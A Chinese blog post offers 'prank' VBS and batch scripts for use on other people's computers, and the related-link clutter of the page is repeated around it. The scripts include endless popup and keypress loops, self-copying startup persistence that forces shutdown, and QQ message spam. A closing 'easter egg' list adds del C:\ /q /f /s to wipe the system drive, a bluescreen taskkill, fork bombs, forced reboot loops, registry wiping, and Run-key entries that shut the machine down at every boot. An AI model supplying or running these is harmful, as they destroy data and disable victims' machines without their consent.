几个好玩（整人）的vbs小程序

虽然标题上是讲vbs的，但是我不介意在文章末尾加彩蛋！
整人之旅开始啦！

1.vbs

1.恶搞不断弹出消息对话

set ws=createobject("wscript.shell") call shutdown(1) do while a<>"XXX" a=inputbox("快在下面的框框里输入XXX喜欢谁,否则后果自负"" ","一个问题","") loop call shutdown(2) msgbox"好吧，不过好自恋啊",4096+64 msgbox"但是你关不掉我",4096+64 msgbox"真的",4096+64 MsgBox"你不信？",4096+64 MsgBox"打开任务管理器也没有什么软用的",4096+64 MsgBox"给你讲个故事",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 for i=1 to 60

上面的“for i=1 to 60”中的“60”是次数的数量，可以更改的

2.不断弹出光驱

set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop

我认为这个可以把你朋友仇人整到疯！
但是下面这两个才更加震惊正经

3.无尽语音报数：无限语音从1数到无限大

Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop

4.无尽刷新

set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

咳咳咳，热身已结束，来一点更好玩的吧

1.修改注册表

on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide

2.QQ信息骚扰恶搞

On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("陈老师")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit

打开好友的聊天对话框，然后记下聊天对话框的名称（如：陈老师），把下面代码里的陈老师替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

3.直接关机

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

这个很多人都会，还有简略版的：

shutdown -s -t o

当然，也可以在关机前留下一些（自带骚气）的痕迹举动：

shutdown -s -t o -c hahaha

在 -c 后的字可以更改，本人只会英文的，不知道怎么改中文，各位大神在评论区教教我吧！

**4.不断按下alt+f4 **

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop

打开任何程序都关掉，你的仇在这里报了，哈哈哈哈哈。

5.无限弹出窗口

while(1)
msgbox("关不掉我吧")
msgbox("哈哈，还是关不掉我")
msgbox("你就是关不掉我")
msgbox("大爆发，我就是这么强大")
msgbox("关不掉我吧")
msgbox("啦啦啦")
msgbox("你拿我没办法")
msgbox("哈哈哈")
msgbox("气死你，哈哈哈哈")
Wend

这里还有个…

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")

诶嘿嘿嘿嘿嘿
这种感觉不可言说，只可会意
这个代码曾经被我拿去整信息课老师！

彩蛋！彩蛋！彩蛋！

1.cmd
1.强制删除C盘文件 del C:\ /q /f /s
2.蓝屏 taskkill /f /fi “pid ge 1”
3.弹出100个cmd窗口 for /l %%i in (1.1.100) do start cmd
4.教你卡资源 %0|%0 （那啥，超刺激）
5.让对方重启指定次数(害人专用)

@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2

上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那
就是重启6次
改成7就是7次…

6.无限弹窗死机命令

：start
start
goto start

7.4个终身难忘的…

1.tree C:\ /f /a这个很简单，就是吓唬一下你要整的人，不需要多大配置，fc的技能就带的动了，你可以吹说这是在破解谁谁谁的l电脑之类的。2.reg deltet HKEY_CURRENT_USER /f /ve /va这个非常简单：重启以后你所有的自定义设置（桌面背景、窗口样式、Win7还有Aero的颜色和开关等）全部还原默认。3.reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdownp /t reg_sz /d "C:\windows\shutdown.cmd" /f然后在cmd中使用这两条指令cd C:\windowsecho.shutdown -p>shutdown.cmd如果说刚刚那个是可以接受的，这个就有些坑人了，它的用途是开机后立即关机。4.reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v memoryhacker /t reg_sz /d "c:\windows\mh.cmd" /f同样在cmd运行cd C:\windowsecho.@echo off>mh.cmdecho.cls>>mh.cmdecho.^%0^|^%0^>>mh.cmd这行指令会让电脑上出现一个关不掉的黑窗口，作用是让你的电脑在5分钟内卡死。

代码或解释有何不对可以指出！记得点赞哦！！！

几个好玩（整人）的vbs小程序相关推荐

徐州好玩实用的微信小程序
徐州好玩实用的微信小程序,有分电脑版和手机端吗? 徐州认为"游戏"天生就是无聊的致命敌人之一. 所以每当人们感到厌烦的时候,他们会利用各种游戏和软件消磨时间.现在有一个更方便的&q ...
vbs小程序图标更改方法
1.首先将vbs小程序放在一个自定义文件夹下,然后在此文件夹下生成vbs小程序的快捷方式 2.将你想要换成的图片(图片像素要低)也放入此文件夹下,并改成bmp格式 3.右击vbs快捷方式,进入属性,点 ...
c语言弹琴小程序,非常好玩的弹钢琴小程序.doc
非常好玩的弹钢琴小程序 <童话>: U5q-A"; ?LONOL LONOL LONO OOMMLLONOL LQPPO LONOM MMOTS PPRRQQ QQNPOONO ...
地图标识符号大全_射击小游戏大全：动物枪王好玩的射击游戏小程序，点开既玩...
40000+游戏爱好者已加入我们! 每天推荐好玩游戏! 加入我们,沐沐带你发现好游戏! <动物枪王>游戏小程序好玩吗? <动物枪王>小游戏怎么玩? 只有你想不到, 没有我找不到 ...
好玩的JS系列--小程序数据埋点
小编推荐:Fundebug专注于JavaScript.微信小程序.微信小游戏,Node.js和Java实时BUG监控.真的是一个很好用的bug监控费服务,众多大佬公司都在使用. 前言最近负责的一个项 ...
vbs控制电脑说话，vbs获取时间，vbs小程序
VBS也挺强大的呢,这篇给大家演示的是获取当前时刻,并根据不同的时间段来问好! 注:编辑器不支持vbs编程,单引号后是注释哦! d=Date() t=Time() h=Hour(t) '获取到当前的小 ...
小程序常用的十个入口
1.小程序二维码"扫一扫" 商家上线小程序应用后,用户线下消费时,可直接扫小程序二维码,进入商家的小程序点餐页面,符合快速消费即用即走的特性.同样商家也可以用于线下推广时使用,如传 ...
有哪些微信小程序值得推荐？
入选标准:真正能体现小程序的特色和优势.适合微信场景下使用的应用,而不是为了小程序而小程序,简单地把App功能复制到小程序上.另外,频次太高.功能比较复杂的需求,其实都不适合小程序.我不明白腾讯视频. ...
android简单小程序学成语,分享3个成语游戏小程序，让你学习游戏两不误
原标题:分享3个成语游戏小程序,让你学习游戏两不误 1.杜甫教成语杜甫教成语,一个轻松简单的学成语小程序,是一个猜字型的小程序,是一个考验我们的成语词库深度的小程序.杜甫教成语其实是一个既可以玩游戏 ...

几个好玩（整人）的vbs小程序

1.vbs

咳咳咳，热身已结束，来一点更好玩的吧

这里还有个…

彩蛋！彩蛋！彩蛋！

代码或解释有何不对可以指出！记得点赞哦！！！

几个好玩（整人）的vbs小程序相关推荐

最新文章

热门文章

几个好玩（整人）的vbs小程序

1.vbs

咳咳咳，热身已结束，来一点更好玩的吧

这里还有个…

彩蛋！彩蛋！彩蛋！

代码或解释有何不对可以指出！ 记得点赞哦！！！

几个好玩（整人）的vbs小程序相关推荐

最新文章

热门文章

代码或解释有何不对可以指出！记得点赞哦！！！